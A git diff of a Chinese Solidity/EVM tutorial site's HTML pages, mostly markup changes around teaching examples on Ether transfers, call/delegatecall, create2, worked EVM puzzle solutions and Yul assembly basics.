    -    /*
    +    /*
         Which function is called, fallback() or receive()?
     
                     sender ether
    @@ -3365,54 +3361,54 @@ 

    Send Ether

    yes no / \ receive() fallback() - */ + */
    string public message; - // Function to receive Ether. msg.data must be empty + // Function to receive Ether. msg.data must be empty receive() external payable { - message = "receive called!"; + message = "receive called!"; } - // Fallback function is called when msg.data is not empty + // Fallback function is called when msg.data is not empty fallback() external payable { - message = "fallback called!"; + message = "fallback called!"; } - function getBalance() public view returns (uint) { - return address(this).balance; + function getBalance() public view returns (uint) { + return address(this).balance; } - function setMsg(string memory _msg) public { + function setMsg(string memory _msg) public { message = _msg; } } contract SendEther { - function sendViaTransfer(address payable _to) public payable { - // This function is no longer recommended for sending Ether. (不建议使用) + function sendViaTransfer(address payable _to) public payable { + // This function is no longer recommended for sending Ether. (不建议使用) _to.transfer(msg.value); } - function sendViaSend(address payable _to) public payable { - // Send returns a boolean value indicating success or failure. - // This function is not recommended for sending Ether. (不建议使用) + function sendViaSend(address payable _to) public payable { + // Send returns a boolean value indicating success or failure. + // This function is not recommended for sending Ether. (不建议使用) bool sent = _to.send(msg.value); - require(sent, "Failed to send Ether"); + require(sent, "Failed to send Ether"); } - function sendViaCallFallback(address payable _to) public payable { - // Call returns a boolean value indicating success or failure. - // This is the current recommended method to use. (推荐使用) - (bool sent, bytes memory data) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFuncTest()")); - require(sent, "Failed to send Ether"); + function sendViaCallFallback(address payable _to) public payable { + // Call returns a boolean value indicating success or failure. + // This is the current recommended method to use. (推荐使用) + (bool sent, bytes memory data) = _to.call{value: msg.value}(abi.encodeWithSignature("noExistFuncTest()")); + require(sent, "Failed to send Ether"); } - function sendViaCallReceive(address payable _to) public payable { - // Call returns a boolean value indicating success or failure. - // This is the current recommended method to use.(推荐使用) - (bool sent, bytes memory data) = _to.call{value: msg.value}(""); - require(sent, "Failed to send Ether"); + function sendViaCallReceive(address payable _to) public payable { + // Call returns a boolean value indicating success or failure. + // This is the current recommended method to use.(推荐使用) + (bool sent, bytes memory data) = _to.call{value: msg.value}(""); + require(sent, "Failed to send Ether"); } }
    @@ -3438,39 +3434,39 @@

    call

  • 调用不存在的方法(又不存在fallback)时,交易会调用成功,但是第一个参数为:false,所以使用call调用后一定要检查success状态

  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Receiver {
         event Received(address caller, uint amount, string message);
     
         fallback() external payable {
    -        emit Received(msg.sender, msg.value, "Fallback was called");
    +        emit Received(msg.sender, msg.value, "Fallback was called");
         }
     
    -    function foo(string memory _message, uint _x) public payable returns (uint) {
    +    function foo(string memory _message, uint _x) public payable returns (uint) {
             emit Received(msg.sender, msg.value, _message);
     
    -        return _x + 1;
    +        return _x + 1;
         }
     }
     
     contract Caller {
         event Response(bool success, bytes data);
     
    -    function testCallFoo(address payable _addr) public payable {
    -        // You can send ether and specify a custom gas amount
    -        (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(
    -            abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)
    +    function testCallFoo(address payable _addr) public payable {
    +        // You can send ether and specify a custom gas amount
    +        (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(
    +            abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)
             );
     
             emit Response(success, data);
         }
     
    -    // Calling a function that does not exist triggers the fallback function.
    -    function testCallDoesNotExist(address _addr) public {
    +    // Calling a function that does not exist triggers the fallback function.
    +    function testCallDoesNotExist(address _addr) public {
             (bool success, bytes memory data) = _addr.call(
    -            abi.encodeWithSignature("doesNotExist()")
    +            abi.encodeWithSignature("doesNotExist()")
             );
     
             emit Response(success, data);
    @@ -3484,12 +3480,12 @@ 

    staticcall

  • 与CALL相同,但是不允许修改任何状态变量,是为了安全🔐考虑而新增的OPCODE
  • 在Transparent模式的代理合约逻辑中,就使用了staticcall,从而让proxyAmin能够免费的调用父合约的admin函数,从而从slot中返回代理合约的管理员。这部分会在合约升级章节介绍。
  • -
        function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
    -        // We need to manually run the static call since the getter cannot be flagged as view
    -        // bytes4(keccak256("admin()")) == 0xf851a440
    -        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
    -        require(success);
    -        return abi.decode(returndata, (address));
    +
        function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
    +        // We need to manually run the static call since the getter cannot be flagged as view
    +        // bytes4(keccak256("admin()")) == 0xf851a440
    +        (bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
    +        require(success);
    +        return abi.decode(returndata, (address));
         }
     

    delegatecall

    @@ -3499,16 +3495,16 @@

    delegatecall

  • 使用delegatecall的前提是:A合约和B合约有相同的状态变量。
  • image-20220510094354223

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Implementation {
    -    // NOTE: storage layout must be the same as contract A
    +    // NOTE: storage layout must be the same as contract A
         uint public num;
         address public sender;
         uint public value;
     
    -    function setVars(uint _num) public payable {
    +    function setVars(uint _num) public payable {
             num = _num;
             sender = msg.sender;
             value = msg.value;
    @@ -3516,28 +3512,28 @@ 

    delegatecall

    } contract ImplementationV2 { - // NOTE: storage layout must be the same as contract A + // NOTE: storage layout must be the same as contract A uint public num; address public sender; uint public value; - function setVars(uint _num) public payable { - num = _num*2; + function setVars(uint _num) public payable { + num = _num*2; sender = msg.sender; value = msg.value; } } -// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址 (调用链EOA-> Proxy::setVars -> Implementation::setVars) -contract Proxy { +// 注意:执行后,Proxy中的sender值为EOA的地址,而不是A合约的地址 (调用链EOA-> Proxy::setVars -> Implementation::setVars) +contract Proxy { uint public num; address public sender; uint public value; - function setVars(address _impl, uint _num) public payable { - // Proxy's storage is set, Implementation is not modified. + function setVars(address _impl, uint _num) public payable { + // Proxy's storage is set, Implementation is not modified. (bool success, bytes memory data) = _impl.delegatecall( - abi.encodeWithSignature("setVars(uint256)", _num) + abi.encodeWithSignature("setVars(uint256)", _num) ); } } @@ -3574,73 +3570,73 @@

    create&create2

    1. 使用new方式创建:
    -
    // 内部调用create
    -new ContractName(参数...)
    +
    // 内部调用create
    +new ContractName(参数...)
     
    -// 内部调用create2
    -// 在0.8.0版本之后,new增加了salt选项,从而支持了create2的特性(通过salt可以计算出创建合约的地址)。
    -new ContractName{salt: _salt}(参数...)
    +// 内部调用create2
    +// 在0.8.0版本之后,new增加了salt选项,从而支持了create2的特性(通过salt可以计算出创建合约的地址)。
    +new ContractName{salt: _salt}(参数...)
     

    demo验证:

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Car {
         address public owner;
         string public model;
         address public carAddr;
     
    -    constructor(address _owner, string memory _model) payable {
    +    constructor(address _owner, string memory _model) payable {
             owner = _owner;
             model = _model;
    -        carAddr = address(this);
    +        carAddr = address(this);
         }
     }
     
     contract CarFactory {
         Car[] public cars;
     
    -    function create(address _owner, string memory _model) public {
    -        Car car = new Car(_owner, _model);
    +    function create(address _owner, string memory _model) public {
    +        Car car = new Car(_owner, _model);
             cars.push(car);
         }
     
    -    function createAndSendEther(address _owner, string memory _model) public payable {
    -        Car car = (new Car){value: msg.value}(_owner, _model);
    +    function createAndSendEther(address _owner, string memory _model) public payable {
    +        Car car = (new Car){value: msg.value}(_owner, _model);
             cars.push(car);
         }
     
    -    function create2(
    +    function create2(
             address _owner,
             string memory _model,
             bytes32 _salt
    -    ) public {
    -        Car car = (new Car){salt: _salt}(_owner, _model);
    +    ) public {
    +        Car car = (new Car){salt: _salt}(_owner, _model);
             cars.push(car);
         }
     
    -    function create2AndSendEther(
    +    function create2AndSendEther(
             address _owner,
             string memory _model,
             bytes32 _salt
    -    ) public payable {
    -        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
    +    ) public payable {
    +        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
             cars.push(car);
         }
     
    -    function getCar(uint _index)
    -        public
    -        view
    -        returns (
    +    function getCar(uint _index)
    +        public
    +        view
    +        returns (
                 address owner,
                 string memory model,
                 address carAddr,
                 uint balance
    -        )
    -    {
    +        )
    +    {
             Car car = cars[_index];
     
    -        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
    +        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
         }
     }
     
    @@ -3653,41 +3649,41 @@

    合约间调用

  • 使用call调用合约: A.call(calldata)
  • 使用delegate调用合约:A.delegatecall(calldata)
  • -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.13;
    +
    // SPDX-License-Identifier: MIT
    +pragma solidity ^0.8.13;
     
     contract Callee {
         uint public x;
         uint public value;
     
    -    function setX(uint _x) public returns (uint) {
    +    function setX(uint _x) public returns (uint) {
             x = _x;
    -        return x;
    +        return x;
         }
     
    -    function setXandSendEther(uint _x) public payable returns (uint, uint) {
    +    function setXandSendEther(uint _x) public payable returns (uint, uint) {
             x = _x;
             value = msg.value;
     
    -        return (x, value);
    +        return (x, value);
         }
     }
     
     contract Caller {
    -    // 直接在参数中进行实例化合约
    -    function setX(Callee _callee, uint _x) public {
    +    // 直接在参数中进行实例化合约
    +    function setX(Callee _callee, uint _x) public {
             uint x = _callee.setX(_x);
         }
     
    -    // 传递地址,在内部实例化callee合约
    -    function setXFromAddress(address _addr, uint _x) public {
    +    // 传递地址,在内部实例化callee合约
    +    function setXFromAddress(address _addr, uint _x) public {
             Callee callee = Callee(_addr);
             callee.setX(_x);
         }
     
    -    // 调用方法,并转ether
    -    function setXandSendEther(Callee _callee, uint _x) public payable {
    -        (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x);
    +    // 调用方法,并转ether
    +    function setXandSendEther(Callee _callee, uint _x) public payable {
    +        (uint x, uint value) = _callee.setXandSendEther{value: msg.value}(_x);
         }
     }
     
    @@ -3720,7 +3716,7 @@

    uniswapV2

    @@ -3806,14 +3802,6 @@

    uniswapV2

    - - - - - - - - diff --git "a/cn/09_EVM\350\257\246\350\247\243/01_OPCode\346\211\213\345\206\214.html" "b/cn/09_EVM\350\257\246\350\247\243/01_OPCode\346\211\213\345\206\214.html" index 3513dd33..0fda0f55 100644 --- "a/cn/09_EVM\350\257\246\350\247\243/01_OPCode\346\211\213\345\206\214.html" +++ "b/cn/09_EVM\350\257\246\350\247\243/01_OPCode\346\211\213\345\206\214.html" @@ -36,10 +36,6 @@ - - - - @@ -4093,7 +4089,7 @@

    完整

    @@ -4179,14 +4175,6 @@

    完整

    - - - - - - - - diff --git "a/cn/09_EVM\350\257\246\350\247\243/02-evm-puzzles.html" "b/cn/09_EVM\350\257\246\350\247\243/02-evm-puzzles.html" index 2f5264cb..ea826edf 100644 --- "a/cn/09_EVM\350\257\246\350\247\243/02-evm-puzzles.html" +++ "b/cn/09_EVM\350\257\246\350\247\243/02-evm-puzzles.html" @@ -36,10 +36,6 @@ - - - - @@ -3031,12 +3027,12 @@

    启动

    npx hardhat play

    Puzzle#1:CALLVALUE

    -
    ############
    -# Puzzle 1 #
    -############
    +
    ############
    +# Puzzle 1 #
    +############
     
    -00      34      CALLVALUE    #[msg.value]
    -01      56      JUMP    #跳转下一个evm字节,查看JUMPDEST,发现目的地是08,所以msg.value为8
    +00      34      CALLVALUE    #[msg.value]
    +01      56      JUMP    #跳转下一个evm字节,查看JUMPDEST,发现目的地是08,所以msg.value为8
     02      FD      REVERT
     03      FD      REVERT
     04      FD      REVERT
    @@ -3054,13 +3050,13 @@ 

    Puzzle#1:CALLVALUE

  • 由于目的地JUMPDEST是08,所以输入值为:8
  • Puzzle#2:CODESIZE

    -
    ############
    -# Puzzle 2 #
    -############
    +
    ############
    +# Puzzle 2 #
    +############
     
    -00      34      CALLVALUE    #[msg.value]
    -01      38      CODESIZE    #[10, msg.value],codesize为当前evm中的操作码的数量,每一个是1字节
    -02      03      SUB    #[sub_result], 需要跳转到06,所以 10 - msg.value = 6
    +00      34      CALLVALUE    #[msg.value]
    +01      38      CODESIZE    #[10, msg.value],codesize为当前evm中的操作码的数量,每一个是1字节
    +02      03      SUB    #[sub_result], 需要跳转到06,所以 10 - msg.value = 6
     03      56      JUMP
     04      FD      REVERT
     05      FD      REVERT
    @@ -3078,12 +3074,12 @@ 

    Puzzle#2:CODESIZE

  • JUMP会跳到06字节,因此我们需要 10 - x = 6,推导出:x = 4
  • Puzzle#3:CALLDATASIZE

    -
    ############
    -# Puzzle 3 #
    -############
    +
    ############
    +# Puzzle 3 #
    +############
     
    -00      36      CALLDATASIZE    #[datasize]
    -01      56      JUMP    #跳转到04,所以我们只要保证calldata到size为4即可,内容不限。
    +00      36      CALLDATASIZE    #[datasize]
    +01      56      JUMP    #跳转到04,所以我们只要保证calldata到size为4即可,内容不限。
     02      FD      REVERT
     03      FD      REVERT
     04      5B      JUMPDEST
    @@ -3096,12 +3092,12 @@ 

    Puzzle#3:CALLDATASIZE

  • 为了JUMP到04,因此我们的输入需要大小为4字节,因此随便输入一个四字节data即可!
  • Puzzle#4:XOR

    -
    ############
    -# Puzzle 4 #
    -############
    +
    ############
    +# Puzzle 4 #
    +############
     
    -00      34      CALLVALUE    #[msg.value]
    -01      38      CODESIZE    #[12, msg.value]
    +00      34      CALLVALUE    #[msg.value]
    +01      38      CODESIZE    #[12, msg.value]
     02      18      XOR
     03      56      JUMP
     04      FD      REVERT
    @@ -3126,17 +3122,17 @@ 

    Puzzle#4:XOR

    Puzzle#5:JUMPI

    -
    ############
    -# Puzzle 5 #
    -############
    -
    -00      34          CALLVALUE    #[msg.value]
    -01      80          DUP1    #[msg.value, msg.value]
    -02      02          MUL    #[mul_result]
    -03      610100      PUSH2 0100    #[0100, mul_result],反推mul_result为: 0100
    -06      14          EQ    #[0或1],反推:1
    -07      600C        PUSH1 0C    #[0C, 0或1],为了能跳转,此时必须为:1
    -09      57          JUMPI    #[],stack2为1时,跳转到stack1的位置
    +
    ############
    +# Puzzle 5 #
    +############
    +
    +00      34          CALLVALUE    #[msg.value]
    +01      80          DUP1    #[msg.value, msg.value]
    +02      02          MUL    #[mul_result]
    +03      610100      PUSH2 0100    #[0100, mul_result],反推mul_result为: 0100
    +06      14          EQ    #[0或1],反推:1
    +07      600C        PUSH1 0C    #[0C, 0或1],为了能跳转,此时必须为:1
    +09      57          JUMPI    #[],stack2为1时,跳转到stack1的位置
     0A      FD          REVERT
     0B      FD          REVERT
     0C      5B          JUMPDEST
    @@ -3157,13 +3153,13 @@ 

    Puzzle#5:JUMPI

  • 因此我们需要使得:0100 = x*x,0x0100十进制为256,所以x = 16
  • Puzzle#6:CALLDATALOAD

    -
    ############
    -# Puzzle 6 #
    -############
    +
    ############
    +# Puzzle 6 #
    +############
     
    -00      6000      PUSH1 00    #[00]
    -02      35        CALLDATALOAD    #[calldata, 00]
    -03      56        JUMP    #跳转到0A,所以stack1为:0A
    +00      6000      PUSH1 00    #[00]
    +02      35        CALLDATALOAD    #[calldata, 00]
    +03      56        JUMP    #跳转到0A,所以stack1为:0A
     04      FD        REVERT
     05      FD        REVERT
     06      FD        REVERT
    @@ -3180,21 +3176,21 @@ 

    Puzzle#6:CALLDATALOAD

  • 由于calldata的数值总为32字节的倍数,所以此处应该为:0x000000000000000000000000000000000000000000000000000000000000000a
  • Puzzle#7:EXTCODESIZE

    -
    ############
    -# Puzzle 7 #
    -############
    -
    -00      36        CALLDATASIZE    # [datasize]
    -01      6000      PUSH1 00    # [00, datasize]
    -03      80        DUP1        # [00, 00, datasize]
    -04      37        CALLDATACOPY    # [] data被copy到memory中,栈被清空
    -05      36        CALLDATASIZE    # [datasize]
    -06      6000      PUSH1 00        # [00, datasize]
    -08      6000      PUSH1 00        # [00, 00, datasize]
    -0A      F0        CREATE    # [deployed_address] 栈被清空,从内存中读取数据,创建合约,返回地址 
    -0B      3B        EXTCODESIZE    # [address_code_size] 输入地址,返回合约的size
    -0C      6001      PUSH1 01    # [01, address_code_size]
    -0E      14        EQ    # [1] address_code_size必须为1,后续的才成立
    +
    ############
    +# Puzzle 7 #
    +############
    +
    +00      36        CALLDATASIZE    # [datasize]
    +01      6000      PUSH1 00    # [00, datasize]
    +03      80        DUP1        # [00, 00, datasize]
    +04      37        CALLDATACOPY    # [] data被copy到memory中,栈被清空
    +05      36        CALLDATASIZE    # [datasize]
    +06      6000      PUSH1 00        # [00, datasize]
    +08      6000      PUSH1 00        # [00, 00, datasize]
    +0A      F0        CREATE    # [deployed_address] 栈被清空,从内存中读取数据,创建合约,返回地址 
    +0B      3B        EXTCODESIZE    # [address_code_size] 输入地址,返回合约的size
    +0C      6001      PUSH1 01    # [01, address_code_size]
    +0E      14        EQ    # [1] address_code_size必须为1,后续的才成立
     0F      6013      PUSH1 13
     11      57        JUMPI
     12      FD        REVERT
    @@ -3214,29 +3210,29 @@ 

    Puzzle#7:EXTCODESIZE

    image-20221031173928192

    Puzzle#8:SWAP

    -
    ############
    -# Puzzle 8 #
    -############
    -
    -00      36        CALLDATASIZE    # [datasize]
    -01      6000      PUSH1 00    # [00, datasize]
    -03      80        DUP1    # [00, 00, datasize]
    -04      37        CALLDATACOPY    # []  copy到内存中
    -05      36        CALLDATASIZE    # [datasize],直接生成数据,不需要栈参数
    -06      6000      PUSH1 00    # [00, datasize]
    -08      6000      PUSH1 00    # [00, 00, datasize]
    -0A      F0        CREATE    # [deployed_address]
    -0B      6000      PUSH1 00    # [00, deployed_address]
    -0D      80        DUP1    # [00, 00, deployed_address]
    -0E      80        DUP1    # [00, 00, 00, deployed_address]
    -0F      80        DUP1    # [00, 00, 00, 00, deployed_address]
    -10      80        DUP1    # [00, 00, 00, 00, 00, deployed_address]
    -11      94        SWAP5    # [deployed_address, 00, 00, 00, 00, 00],兑换1st 和 6th,你没有看错1和6,不是5
    -12      5A        GAS    # [gasAvail, deployed_address, 00, 00, 00, 00, 00] // 7个参数
    -13      F1        CALL    # [0或1]调用函数,需要是0,0表示失败,1表示成功!(反推的)
    -14      6000      PUSH1 00    # [00, 0或1],需要是0
    -16      14        EQ    # [0或1],需要是1
    -17      601B      PUSH1 1B    # [1B, 0或1],需要是1
    +
    ############
    +# Puzzle 8 #
    +############
    +
    +00      36        CALLDATASIZE    # [datasize]
    +01      6000      PUSH1 00    # [00, datasize]
    +03      80        DUP1    # [00, 00, datasize]
    +04      37        CALLDATACOPY    # []  copy到内存中
    +05      36        CALLDATASIZE    # [datasize],直接生成数据,不需要栈参数
    +06      6000      PUSH1 00    # [00, datasize]
    +08      6000      PUSH1 00    # [00, 00, datasize]
    +0A      F0        CREATE    # [deployed_address]
    +0B      6000      PUSH1 00    # [00, deployed_address]
    +0D      80        DUP1    # [00, 00, deployed_address]
    +0E      80        DUP1    # [00, 00, 00, deployed_address]
    +0F      80        DUP1    # [00, 00, 00, 00, deployed_address]
    +10      80        DUP1    # [00, 00, 00, 00, 00, deployed_address]
    +11      94        SWAP5    # [deployed_address, 00, 00, 00, 00, 00],兑换1st 和 6th,你没有看错1和6,不是5
    +12      5A        GAS    # [gasAvail, deployed_address, 00, 00, 00, 00, 00] // 7个参数
    +13      F1        CALL    # [0或1]调用函数,需要是0,0表示失败,1表示成功!(反推的)
    +14      6000      PUSH1 00    # [00, 0或1],需要是0
    +16      14        EQ    # [0或1],需要是1
    +17      601B      PUSH1 1B    # [1B, 0或1],需要是1
     19      57        JUMPI                        
     1A      FD        REVERT
     1B      5B        JUMPDEST
    @@ -3257,27 +3253,27 @@ 

    Puzzle#8:SWAP

  • 因此答案为:0x60016000526001601ff3
  • Puzzle#9:LT

    -
    ############
    -# Puzzle 9 #
    -############
    -
    -00      36        CALLDATASIZE    # [datasize]
    -01      6003      PUSH1 03    # [03, datasize]
    -03      10        LT    # [1], stack(1) < stack(2),
    -04      6009      PUSH1 09    # [09, 1]
    +
    ############
    +# Puzzle 9 #
    +############
    +
    +00      36        CALLDATASIZE    # [datasize]
    +01      6003      PUSH1 03    # [03, datasize]
    +03      10        LT    # [1], stack(1) < stack(2),
    +04      6009      PUSH1 09    # [09, 1]
     06      57        JUMPI
     07      FD        REVERT
     08      FD        REVERT
    -09      5B        JUMPDEST    # [] 跳转到这里
    -0A      34        CALLVALUE        # [msgvalue]
    -0B      36        CALLDATASIZE    # [datasize, msgvalue]
    -0C      02        MUL        # [mul_result]
    -0D      6008      PUSH1 08    # [08, mul_result]
    -0F      14        EQ    # [1], 必须是0
    -10      6014      PUSH1 14    # [14, 1]
    +09      5B        JUMPDEST    # [] 跳转到这里
    +0A      34        CALLVALUE        # [msgvalue]
    +0B      36        CALLDATASIZE    # [datasize, msgvalue]
    +0C      02        MUL        # [mul_result]
    +0D      6008      PUSH1 08    # [08, mul_result]
    +0F      14        EQ    # [1], 必须是0
    +10      6014      PUSH1 14    # [14, 1]
     12      57        JUMPI
     13      FD        REVERT
    -14      5B        JUMPDEST    # 跳转到这里,结束!
    +14      5B        JUMPDEST    # 跳转到这里,结束!
     15      00        STOP
     
     ? Enter the value to send: 
    @@ -3295,26 +3291,26 @@ 

    Puzzle#9:LT

    Puzzle#10:ISZERO

    -
    #############
    -# Puzzle 10 #
    -#############
    -
    -00      38          CODESIZE    # [23]
    -01      34          CALLVALUE    # [msgvalue, 23]
    -02      90          SWAP1    # [23, msgvalue]
    -03      11          GT    # [1], msgvalue < 23
    -04      6008        PUSH1 08    # [08, 1]
    +
    #############
    +# Puzzle 10 #
    +#############
    +
    +00      38          CODESIZE    # [23]
    +01      34          CALLVALUE    # [msgvalue, 23]
    +02      90          SWAP1    # [23, msgvalue]
    +03      11          GT    # [1], msgvalue < 23
    +04      6008        PUSH1 08    # [08, 1]
     06      57          JUMPI
     07      FD          REVERT
    -08      5B          JUMPDEST    # 跳到这里
    -09      36          CALLDATASIZE    # [datasize]
    -0A      610003      PUSH2 0003    # [0003, datasize]
    -0D      90          SWAP1    # [datasize, 0003]
    -0E      06          MOD        # [N],取余数,N为余数,必须是:0
    -0F      15          ISZERO    # [0或1],必须是1
    -10      34          CALLVALUE    # [msgvalue, 0或1],必须是:1
    -11      600A        PUSH1 0A    # [0A,msgvalue, 0或1],反推:msgvalue = 0x0f
    -13      01          ADD    # [add_result, 0或1],下面是跳转了,所以栈值为:[0x19, 1]
    +08      5B          JUMPDEST    # 跳到这里
    +09      36          CALLDATASIZE    # [datasize]
    +0A      610003      PUSH2 0003    # [0003, datasize]
    +0D      90          SWAP1    # [datasize, 0003]
    +0E      06          MOD        # [N],取余数,N为余数,必须是:0
    +0F      15          ISZERO    # [0或1],必须是1
    +10      34          CALLVALUE    # [msgvalue, 0或1],必须是:1
    +11      600A        PUSH1 0A    # [0A,msgvalue, 0或1],反推:msgvalue = 0x0f
    +13      01          ADD    # [add_result, 0或1],下面是跳转了,所以栈值为:[0x19, 1]
     14      57          JUMPI
     15      FD          REVERT
     16      FD          REVERT
    @@ -3377,7 +3373,7 @@ 

    其他知识

    @@ -3463,14 +3459,6 @@

    其他知识

    - - - - - - - - diff --git "a/cn/09_EVM\350\257\246\350\247\243/03-\346\261\207\347\274\226\346\246\202\350\277\260.html" "b/cn/09_EVM\350\257\246\350\247\243/03-\346\261\207\347\274\226\346\246\202\350\277\260.html" index 361097dc..81eca910 100644 --- "a/cn/09_EVM\350\257\246\350\247\243/03-\346\261\207\347\274\226\346\246\202\350\277\260.html" +++ "b/cn/09_EVM\350\257\246\350\247\243/03-\346\261\207\347\274\226\346\246\202\350\277\260.html" @@ -36,10 +36,6 @@ - - - - @@ -3042,17 +3038,17 @@

    更加细颗粒度的控制:

  • stringutils:https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol
  • 节约gas

    -
     function addAssembly(uint x, uint y) public pure returns (uint) {
    +
     function addAssembly(uint x, uint y) public pure returns (uint) {
           assembly {
    -          // Add some code here
    -          let result := add(x, y)
    -          mstore(0x0, result)
    -          return(0x0, 32)
    +          // Add some code here
    +          let result := add(x, y)
    +          mstore(0x0, result)
    +          return(0x0, 32)
           }
       }
     
    -  function addSolidity(uint x, uint y) public pure returns (uint) {
    -      return x + y;
    +  function addSolidity(uint x, uint y) public pure returns (uint) {
    +      return x + y;
       }
     

    增强功能

    @@ -3066,56 +3062,56 @@

    汇编语法

    使用时需要注意:每个操作码是有参数的,例如指定内存地址,起始位置,偏移量等,这些在solidity中不需要指定。

    1. 引入汇编

    assembly {
    - // some assembly code here
    + // some assembly code here
     }
     

    在assembly块内的开发语言为Yul,且多个代码块之前的变量不共享,各自独立。

    assembly { 
    -    let x := 2
    +    let x := 2
     }
     
     assembly {
    -    let y := x          // Error
    +    let y := x          // Error
     }
    -// DeclarationError: identifier not found
    -// let y := x
    -// ^
    +// DeclarationError: identifier not found
    +// let y := x
    +// ^
     

    2. 简单汇编示例

    -
    function addition(uint x, uint y) public pure returns (uint) {
    +
    function addition(uint x, uint y) public pure returns (uint) {
      assembly {
    -    let result := add(x, y)   // x + y
    -    mstore(0x0, result)       // 在内存中保存结果
    -    return(0x0, 32)           // 从内存中返回32字节
    +    let result := add(x, y)   // x + y
    +    mstore(0x0, result)       // 在内存中保存结果
    +    return(0x0, 32)           // 从内存中返回32字节
      }
     }
     

    详解:

    -
    function addition(uint x, uint y) public pure returns (uint) { 
    +
    function addition(uint x, uint y) public pure returns (uint) { 
      assembly { 
    -     // 创建一个新的变量 result
    -     //     -> 使用add操作码计算x+y
    -     //     -> 将计算结果赋值给变量result 
    -     let result := add(x, y)   // x + y 
    -
    -     // 使用mstore操作码
    -     //     -> 将result变量的值存入内存
    -     //     -> 指定内存地址 0x0 
    -     mstore(0x0, result)       // 将结果存入内存
    -
    -     // 从内存地址0x返回32字节
    -     return(0x0, 32) 
    +     // 创建一个新的变量 result
    +     //     -> 使用add操作码计算x+y
    +     //     -> 将计算结果赋值给变量result 
    +     let result := add(x, y)   // x + y 
    +
    +     // 使用mstore操作码
    +     //     -> 将result变量的值存入内存
    +     //     -> 指定内存地址 0x0 
    +     mstore(0x0, result)       // 将结果存入内存
    +
    +     // 从内存地址0x返回32字节
    +     return(0x0, 32) 
      }
     }
     

    3. 定义变量与赋值

    使用let定义变量,使用 := 进行赋值,自动初始化为0

    assembly {
    -    let x := 7 
    -     let y := add(x, 3)
    -  // 对从0x00开始,20个字节的内容进行hash处理
    -     let z := add(keccak256(0x0, 0x20), div(slength, 32)) 
    -     let n  // 自动初始化为 n = 0
    +    let x := 7 
    +     let y := add(x, 3)
    +  // 对从0x00开始,20个字节的内容进行hash处理
    +     let z := add(keccak256(0x0, 0x20), div(slength, 32)) 
    +     let n  // 自动初始化为 n = 0
     }
     

    4.let指令的作用

    @@ -3130,35 +3126,35 @@

    5. 汇编的注释

    6. 汇编中的字面量

    字符串字面量最多包含32字符。(每个字符1byte,所以最大为32byte,正好时一个槽位)

    assembly { 
    - let a := 0x123             // 16进制
    - let b := 42                // 10进制
    - let c := "hello world"     // 字符串
    + let a := 0x123             // 16进制
    + let b := 42                // 10进制
    + let c := "hello world"     // 字符串
     
    - let d := "very long string more than 32 bytes" // 超长字符串,出错!
    + let d := "very long string more than 32 bytes" // 超长字符串,出错!
     }
     
    -// TypeError: String literal too long (35 < 32)
    -// let d := "really long string more than 32 bytes"
    -//
    +// TypeError: String literal too long (35 < 32)
    +// let d := "really long string more than 32 bytes"
    +//
     

    7. 块和作用域

    assembly { 
    - let x := 3          // x在各处可见
    + let x := 3          // x在各处可见
     
    - // Scope 1 
    + // Scope 1 
      { 
    - let y := x     // ok 
    - }  // 到此处会销毁y
    + let y := x     // ok 
    + }  // 到此处会销毁y
     
    - // Scope 2 
    + // Scope 2 
      { 
    - let z := y     // Error 
    - } // 到此处会销毁z
    + let z := y     // Error 
    + } // 到此处会销毁z
     }
     
    -// DeclarationError: identifier not found
    -// let z := y
    -// ^
    +// DeclarationError: identifier not found
    +// let z := y
    +// ^
     
    @@ -3187,7 +3183,7 @@

    7. 块和作用域

    @@ -3273,14 +3269,6 @@

    7. 块和作用域

    - - - - - - - - diff --git "a/cn/09_EVM\350\257\246\350\247\243/index.html" "b/cn/09_EVM\350\257\246\350\247\243/index.html" index c0a4e00f..d1e50904 100644 --- "a/cn/09_EVM\350\257\246\350\247\243/index.html" +++ "b/cn/09_EVM\350\257\246\350\247\243/index.html" @@ -36,10 +36,6 @@ - - - - @@ -3152,7 +3148,7 @@

    官方 Solidity 文档

    @@ -3238,14 +3234,6 @@

    官方 Solidity 文档

    - - - - - - - - diff --git "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/01_\345\217\215\346\261\207\347\274\226\345\210\235\346\255\245\344\272\206\350\247\243.html" "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/01_\345\217\215\346\261\207\347\274\226\345\210\235\346\255\245\344\272\206\350\247\243.html" index 2b571fa6..1556fd93 100644 --- "a/cn/10_EVM\345\217\215\346\261\207\347\274\226/01_\345\217\215\346\261\207\347\274\226\345\210\235\346\255\245\344\272\206\350\247\243.html" +++ "b/cn/10_EVM\345\217\215\346\261\207\347\274\226/01_\345\217\215\346\261\207\347\274\226\345\210\235\346\255\245\344\272\206\350\247\243.html" @@ -36,10 +36,6 @@ - - - - @@ -3020,54 +3016,54 @@

    第1节:汇编介绍

    Reversing and debugging EVM Smart contracts: First steps in assembly-part1

    合约代码

    -
    // SPDX-License-Identifier: UNLICENSED
    -pragma solidity ^0.8.0;
    +
    // SPDX-License-Identifier: UNLICENSED
    +pragma solidity ^0.8.0;
     contract Test {  
     
    -   function test() external {      } 
    +   function test() external {      } 
     
